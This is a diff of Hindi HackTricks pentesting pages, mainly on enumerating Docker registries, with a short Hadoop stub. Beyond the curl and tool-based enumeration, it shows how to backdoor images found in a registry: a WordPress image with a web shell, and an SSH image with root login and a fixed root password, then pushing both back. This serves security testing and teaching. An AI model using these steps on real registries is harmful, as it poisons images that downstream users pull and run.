|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
**डॉकर इमेजेस** के लिए एक **डॉकर रजिस्ट्री** नामक एक स्टोरेज और वितरण प्रणाली स्थापित है जो नामित होती है और कई संस्करणों में आ सकती है, जिन्हें टैग द्वारा विभाजित किया जा सकता है। ये इमेजेस **डॉकर रिपॉजिटरी** में जोड़ी जाती हैं जो रजिस्ट्री में होती हैं, प्रत्येक रिपॉजिटरी एक विशिष्ट इमेज के विभिन्न संस्करण संग्रहित करती है। प्रदान की गई कार्यक्षमता इमेजेस को स्थानीय रूप से डाउनलोड करने या रजिस्ट्री में अपलोड करने की अनुमति देती है, यदि उपयोगकर्ता के पास आवश्यक अनुमतियाँ हैं।
|
एक संग्रहण और वितरण प्रणाली जिसे **Docker registry** के रूप में जाना जाता है, Docker छवियों के लिए है जो नामित हैं और कई संस्करणों में आ सकती हैं, जिन्हें टैग द्वारा भिन्न किया जाता है। ये छवियाँ **Docker repositories** के भीतर संगठित होती हैं, प्रत्येक रिपॉजिटरी एक विशिष्ट छवि के विभिन्न संस्करणों को संग्रहीत करती है। प्रदान की गई कार्यक्षमता उपयोगकर्ताओं को छवियों को स्थानीय रूप से डाउनलोड करने या रजिस्ट्री में अपलोड करने की अनुमति देती है, बशर्ते कि उपयोगकर्ता के पास आवश्यक अनुमतियाँ हों।
|
||||||
|
|
||||||
**DockerHub** डॉकर के लिए डिफ़ॉल्ट सार्वजनिक रजिस्ट्री के रूप में काम करता है, लेकिन उपयोगकर्ताओं को खुद का ऑन-प्रीमिस संस्करण चलाने का विकल्प है जो खुला स्रोत वाला डॉकर रजिस्ट्री/वितरण है या व्यावसायिक रूप से समर्थित **Docker Trusted Registry** का चयन कर सकते हैं। इसके अतिरिक्त, विभिन्न अन्य सार्वजनिक रजिस्ट्रियाँ ऑनलाइन मिल सकती हैं।
|
**DockerHub** Docker के लिए डिफ़ॉल्ट सार्वजनिक रजिस्ट्री के रूप में कार्य करता है, लेकिन उपयोगकर्ताओं के पास ओपन-सोर्स Docker रजिस्ट्री/वितरण का ऑन-प्रिमाइस संस्करण चलाने या व्यावसायिक रूप से समर्थित **Docker Trusted Registry** का विकल्प भी है। इसके अतिरिक्त, विभिन्न अन्य सार्वजनिक रजिस्ट्री ऑनलाइन पाई जा सकती हैं।
|
||||||
|
|
||||||
ऑन-प्रीमिस रजिस्ट्री से एक इमेज डाउनलोड करने के लिए निम्नलिखित कमांड का उपयोग किया जाता है:
|
|
||||||
|
|
||||||
|
एक ऑन-प्रिमाइस रजिस्ट्री से छवि डाउनलोड करने के लिए, निम्नलिखित कमांड का उपयोग किया जाता है:
|
||||||
```bash
|
```bash
|
||||||
docker pull my-registry:9000/foo/bar:2.1
|
docker pull my-registry:9000/foo/bar:2.1
|
||||||
```
|
```
|
||||||
|
यह कमांड `my-registry` डोमेन पर पोर्ट `9000` पर ऑन-प्रिमाइस रजिस्ट्री से `foo/bar` इमेज संस्करण `2.1` को लाता है। इसके विपरीत, यदि `2.1` नवीनतम संस्करण है, तो DockerHub से उसी इमेज को डाउनलोड करने के लिए कमांड सरल हो जाता है:
|
||||||
यह कमांड `my-registry` डोमेन पर पोर्ट `9000` पर स्थानीय रजिस्ट्री से `foo/bar` इमेज संस्करण `2.1` लाता है। उल्टे, यदि `2.1` नवीनतम संस्करण है, तो DockerHub से एक ही इमेज डाउनलोड करने के लिए कमांड सरल हो जाता है:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull foo/bar
|
docker pull foo/bar
|
||||||
```
|
```
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 5000
|
**डिफ़ॉल्ट पोर्ट:** 5000
|
||||||
|
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5000/tcp open http Docker Registry (API: 2.0)
|
5000/tcp open http Docker Registry (API: 2.0)
|
||||||
```
|
```
|
||||||
|
## खोज
|
||||||
|
|
||||||
## खोजना
|
इस सेवा को चलाते हुए खोजने का सबसे आसान तरीका nmap के आउटपुट में इसे प्राप्त करना है। वैसे भी, ध्यान दें कि चूंकि यह एक HTTP आधारित सेवा है, यह HTTP प्रॉक्सी के पीछे हो सकती है और nmap इसे पहचान नहीं पाएगा।\
|
||||||
|
कुछ फिंगरप्रिंट:
|
||||||
|
|
||||||
इस सेवा को खोजने का सबसे आसान तरीका इसे nmap के आउटपुट पर पाना है। हालांकि, ध्यान दें कि यह एक HTTP आधारित सेवा है और यह HTTP प्रॉक्सी के पीछे हो सकता है और nmap इसे नहीं डिटेक्ट करेगा।\
|
* यदि आप `/` पर पहुँचते हैं, तो प्रतिक्रिया में कुछ भी नहीं लौटाया जाता है
|
||||||
कुछ fingerprints:
|
* यदि आप `/v2/` पर पहुँचते हैं, तो `{}` लौटाया जाता है
|
||||||
|
* यदि आप `/v2/_catalog` पर पहुँचते हैं, तो आप प्राप्त कर सकते हैं:
|
||||||
* यदि आप `/` तक पहुँचते हैं तो प्रतिक्रिया में कुछ भी वापस नहीं आता है
|
|
||||||
* यदि आप `/v2/` तक पहुँचते हैं तो `{}` वापस आता है
|
|
||||||
* यदि आप `/v2/_catalog` तक पहुँचते हैं तो आपको निम्नलिखित प्राप्त हो सकता है:
|
|
||||||
* `{"repositories":["alpine","ubuntu"]}`
|
* `{"repositories":["alpine","ubuntu"]}`
|
||||||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||||
|
|
||||||
|
@ -54,8 +49,7 @@ PORT STATE SERVICE VERSION
|
||||||
|
|
||||||
### HTTP/HTTPS
|
### HTTP/HTTPS
|
||||||
|
|
||||||
डॉकर रजिस्ट्री को **HTTP** या **HTTPS** का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। इसलिए पहली चीज जो आपको करनी होगी वह यह है कि **कौन सा** कॉन्फ़िगर किया गया है:
|
Docker registry को **HTTP** या **HTTPS** का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। इसलिए आपको जो पहला काम करने की आवश्यकता हो सकती है, वह है **यह पता लगाना कि कौन सा** कॉन्फ़िगर किया जा रहा है:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||||
#If HTTPS
|
#If HTTPS
|
||||||
|
@ -66,11 +60,9 @@ Warning: <FILE>" to save to a file.
|
||||||
#If HTTP
|
#If HTTP
|
||||||
{"repositories":["alpine","ubuntu"]}
|
{"repositories":["alpine","ubuntu"]}
|
||||||
```
|
```
|
||||||
|
### Authentication
|
||||||
|
|
||||||
### प्रमाणीकरण
|
Docker registry को **authentication** की आवश्यकता के लिए भी कॉन्फ़िगर किया जा सकता है:
|
||||||
|
|
||||||
डॉकर रजिस्ट्री को **प्रमाणीकरण** की आवश्यकता हो सकती है:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||||
#If Authentication required
|
#If Authentication required
|
||||||
|
@ -78,24 +70,68 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
||||||
#If no authentication required
|
#If no authentication required
|
||||||
{"repositories":["alpine","ubuntu"]}
|
{"repositories":["alpine","ubuntu"]}
|
||||||
```
|
```
|
||||||
|
यदि Docker Registry प्रमाणीकरण की आवश्यकता है, तो आप[ **इसे ब्रूट फोर्स करने की कोशिश कर सकते हैं**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||||
यदि Docker रजिस्ट्री प्रमाणीकरण की आवश्यकता है तो आप इसका ब्रूट फोर्स प्रयास कर सकते हैं [**इसका उपयोग करके**](../generic-methodologies-and-resources/brute-force.md#docker-registry)।\
|
**यदि आप मान्य क्रेडेंशियल्स पाते हैं, तो आपको उनका उपयोग करना होगा** रजिस्ट्री को एन्यूमरेट करने के लिए, `curl` में आप उनका उपयोग इस तरह कर सकते हैं:
|
||||||
**यदि आप मान्य प्रमाण पत्र पाते हैं तो आपको रजिस्ट्री को गणना करने के लिए उन्हें उपयोग करना होगा**, `curl` में आप इस तरह से उन्हें उपयोग कर सकते हैं:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||||
```
|
```
|
||||||
|
### Enumeration using DockerRegistryGrabber
|
||||||
|
|
||||||
### DockerRegistryGrabber का उपयोग करके जांच
|
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) एक पायथन उपकरण है जो डॉकर रजिस्ट्री को सूचीबद्ध / डंप करने के लिए (बिना या बुनियादी प्रमाणीकरण के साथ)
|
||||||
|
|
||||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) एक पायथन उपकरण है जो डॉकर रजिस्ट्री को जांचने/डंप करने के लिए है (बिना या बुनियादी प्रमाणीकरण के)।
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||||
|
|
||||||
|
____ ____ ____
|
||||||
|
| _ \ | _ \ / ___|
|
||||||
|
| | | || |_) || | _
|
||||||
|
| |_| || _ < | |_| |
|
||||||
|
|____/ |_| \_\ \____|
|
||||||
|
Docker Registry grabber tool v2
|
||||||
|
by @SyzikSecu
|
||||||
|
|
||||||
|
positional arguments:
|
||||||
|
url URL
|
||||||
|
|
||||||
|
options:
|
||||||
|
-h, --help show this help message and exit
|
||||||
|
-p port port to use (default : 5000)
|
||||||
|
|
||||||
|
Authentication:
|
||||||
|
-U USERNAME Username
|
||||||
|
-P PASSWORD Password
|
||||||
|
-A header Authorization bearer token
|
||||||
|
|
||||||
|
Actions:
|
||||||
|
--list
|
||||||
|
--dump_all
|
||||||
|
--dump DOCKERNAME DockerName
|
||||||
|
|
||||||
|
Example commands:
|
||||||
|
python drg.py http://127.0.0.1 --list
|
||||||
|
python drg.py http://127.0.0.1 --dump my-ubuntu
|
||||||
|
python drg.py http://127.0.0.1 --dump_all
|
||||||
|
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
|
||||||
|
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
|
||||||
|
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
|
||||||
|
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
|
||||||
|
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
|
||||||
|
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
|
||||||
|
|
||||||
python3 DockerGraber.py http://127.0.0.1 --list
|
python3 DockerGraber.py http://127.0.0.1 --list
|
||||||
|
|
||||||
[+] my-ubuntu
|
[+] my-ubuntu
|
||||||
[+] my-ubuntu2
|
[+] my-ubuntu2
|
||||||
|
|
||||||
|
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
||||||
|
|
||||||
|
[+] blobSum found 5
|
||||||
|
[+] Dumping my-ubuntu
|
||||||
|
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||||||
|
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||||||
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||||
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||||
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||||
|
|
||||||
python3 DockerGraber.py http://127.0.0.1 --dump_all
|
python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||||||
|
|
||||||
[+] my-ubuntu
|
[+] my-ubuntu
|
||||||
|
@ -114,23 +150,10 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||||
|
|
||||||
|
|
||||||
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
|
||||||
|
|
||||||
[+] blobSum found 5
|
|
||||||
[+] Dumping my-ubuntu
|
|
||||||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
|
||||||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
|
||||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
|
||||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
|
||||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
|
||||||
```
|
```
|
||||||
|
### Enumeration using curl
|
||||||
|
|
||||||
### curl का उपयोग करके जांच
|
एक बार जब आप **डॉकर रजिस्ट्री तक पहुँच प्राप्त कर लेते हैं** तो यहाँ कुछ कमांड हैं जिनका आप इसका एन्यूमरेट करने के लिए उपयोग कर सकते हैं:
|
||||||
|
|
||||||
एक बार जब आपने **डॉकर रजिस्ट्री तक पहुंच लिया है** तो यहां कुछ कमांड हैं जिन्हें आप उपयोग कर सकते हैं उसे जांचने के लिए:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#List repositories
|
#List repositories
|
||||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||||
|
@ -193,13 +216,11 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
||||||
#Inspect the insides of each blob
|
#Inspect the insides of each blob
|
||||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
ध्यान दें कि जब आप blobs फ़ाइलें डाउनलोड और डीकंप्रेस करते हैं तो वर्तमान निर्देशिका में फ़ाइलें और फ़ोल्डर्स दिखाई देंगे। **यदि आप सभी blobs डाउनलोड करके उन्हें एक ही फ़ोल्डर में डीकंप्रेस करते हैं तो वे पहले से डीकंप्रेस किए गए blobs के मानों को अधिलेखित कर देंगे**, इसलिए सावधान रहें। प्रत्येक blob को अलग फ़ोल्डर में डीकंप्रेस करना दर्शाता है कि प्रत्येक blob की सटीक सामग्री की जांच करना रोचक हो सकता है।
|
ध्यान दें कि जब आप blobs फ़ाइलें डाउनलोड और डिकंप्रेस करते हैं, तो फ़ोल्डर वर्तमान निर्देशिका में दिखाई देंगे। **यदि आप सभी blobs डाउनलोड करते हैं और उन्हें एक ही फ़ोल्डर में डिकंप्रेस करते हैं, तो वे पहले से डिकंप्रेस किए गए blobs के मानों को ओवरराइट कर देंगे**, इसलिए सावधान रहें। प्रत्येक blob को अलग-अलग फ़ोल्डर के अंदर डिकंप्रेस करना दिलचस्प हो सकता है ताकि प्रत्येक blob की सटीक सामग्री की जांच की जा सके।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### डॉकर का उपयोग करके जाँच करना
|
### Enumeration using docker
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||||
docker pull 10.10.10.10:5000/ubuntu
|
docker pull 10.10.10.10:5000/ubuntu
|
||||||
|
@ -218,11 +239,10 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
||||||
docker ps #Using a different shell
|
docker ps #Using a different shell
|
||||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||||
```
|
```
|
||||||
|
### Backdooring WordPress image
|
||||||
|
|
||||||
### WordPress इमेज में बैकडोरिंग
|
उस परिदृश्य में जहाँ आपने एक Docker Registry पाया है जो एक wordpress इमेज को सहेज रहा है, आप इसे बैकडोर कर सकते हैं।\
|
||||||
|
**बैकडोर** **बनाएँ**:
|
||||||
उस स्थिति में जहाँ आपने एक डॉकर रजिस्ट्री में एक वर्डप्रेस इमेज पाई है, आप इसे बैकडोर कर सकते हैं।\
|
|
||||||
**बैकडोर** बनाएँ:
|
|
||||||
|
|
||||||
{% code title="shell.php" %}
|
{% code title="shell.php" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -240,47 +260,60 @@ RUN chmod 777 /app/shell.php
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
**नया** इमेज बनाएं, **जांचें** कि यह बन गया है, और **पुश** करें:
|
**नई** छवि **बनाएँ**, **जाँचें** कि यह बनाई गई है, और **पुश** करें:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker build -t 10.10.10.10:5000/wordpress .
|
docker build -t 10.10.10.10:5000/wordpress .
|
||||||
#Create
|
#Create
|
||||||
docker images
|
docker images
|
||||||
docker push registry:5000/wordpress #Push it
|
docker push registry:5000/wordpress #Push it
|
||||||
```
|
```
|
||||||
|
### Backdooring SSH server image
|
||||||
|
|
||||||
### SSH सर्वर इमेज में बैकडोरिंग
|
मान लीजिए कि आपने एक Docker Registry पाया है जिसमें एक SSH इमेज है और आप इसे बैकडोर करना चाहते हैं।\
|
||||||
|
**डाउनलोड** करें इमेज और **चलाएँ** इसे:
|
||||||
मान लीजिए कि आपने एक डॉकर रजिस्ट्री में एक SSH इमेज पाया है और आप इसे बैकडोर करना चाहते हैं।\
|
|
||||||
**इमेज को डाउनलोड** करें और **इसे चलाएं**:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||||
```
|
```
|
||||||
|
SSH इमेज से `sshd_config` फ़ाइल निकालें:
|
||||||
एसएसएच इमेज से `sshd_config` फ़ाइल निकालें:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||||
```
|
```
|
||||||
|
और इसे इस तरह संशोधित करें: `PermitRootLogin yes`
|
||||||
|
|
||||||
और इसे सेट करने के लिए संशोधित करें: `PermitRootLogin yes`
|
एक **Dockerfile** इस तरह बनाएं:
|
||||||
|
|
||||||
निम्नलिखित जैसा एक **Dockerfile** बनाएं:
|
{% tabs %}
|
||||||
|
{% tab title="Dockerfile" %}
|
||||||
|
```bash
|
||||||
|
FROM 10.10.10.10:5000/sshd-docker-cli
|
||||||
|
COPY sshd_config /etc/ssh/
|
||||||
|
RUN echo root:password | chpasswd
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*नया\*\* इमेज \*\*बनाएं\*\*, \*\*जांचें\*\* कि यह बन गया है, और \*\*पुश\*\* करें: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## संदर्भ \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
**नई** छवि **बनाएँ**, **जांचें** कि यह बनाई गई है, और **पुश** करें:
|
||||||
|
```bash
|
||||||
|
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||||
|
#Create
|
||||||
|
docker images
|
||||||
|
docker push registry:5000/sshd-docker-cli #Push it
|
||||||
|
```
|
||||||
|
## संदर्भ
|
||||||
|
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* पर फॉलो\*\* करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,43 +1,44 @@
|
||||||
<details>
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
|
||||||
|
|
||||||
* अगर आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
|
|
||||||
# **मौलिक जानकारी**
|
|
||||||
|
|
||||||
**एपाचे हैडूप** एक **ओपन-सोर्स फ्रेमवर्क** है जो **कंप्यूटर क्लस्टर** के **वितरित स्टोरेज और प्रोसेसिंग** के लिए **बड़े डेटासेट्स** का उपयोग करता है। यह **स्टोरेज के लिए HDFS** और **प्रोसेसिंग के लिए MapReduce** का उपयोग करता है।
|
|
||||||
|
|
||||||
दुर्भाग्यपूर्ण रूप से हैडूप को **Metasploit फ्रेमवर्क में समर्थन की कमी** है डॉक्यूमेंटेशन के समय। हालांकि, आप हैडूप सेवाओं की जांच के लिए निम्नलिखित **Nmap स्क्रिप्ट** का उपयोग कर सकते हैं:
|
|
||||||
|
|
||||||
- **`hadoop-jobtracker-info (पोर्ट 50030)`**
|
|
||||||
- **`hadoop-tasktracker-info (पोर्ट 50060)`**
|
|
||||||
- **`hadoop-namenode-info (पोर्ट 50070)`**
|
|
||||||
- **`hadoop-datanode-info (पोर्ट 50075)`**
|
|
||||||
- **`hadoop-secondary-namenode-info (पोर्ट 50090)`**
|
|
||||||
|
|
||||||
|
|
||||||
महत्वपूर्ण नोट है कि **हैडूप अपने डिफ़ॉल्ट सेटअप में प्रमाणीकरण के बिना काम करता है**। हालांकि, बेहतर सुरक्षा के लिए, HDFS, YARN, और MapReduce सेवाओं को Kerberos के साथ एकीकृत करने के लिए विन्यास उपलब्ध हैं।
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
|
# **बुनियादी जानकारी**
|
||||||
|
|
||||||
|
**Apache Hadoop** एक **ओपन-सोर्स ढांचा** है जो **कंप्यूटर क्लस्टर** के बीच **बड़े डेटा सेट** के लिए **वितरित भंडारण और प्रसंस्करण** करता है। यह भंडारण के लिए **HDFS** और प्रसंस्करण के लिए **MapReduce** का उपयोग करता है।
|
||||||
|
|
||||||
|
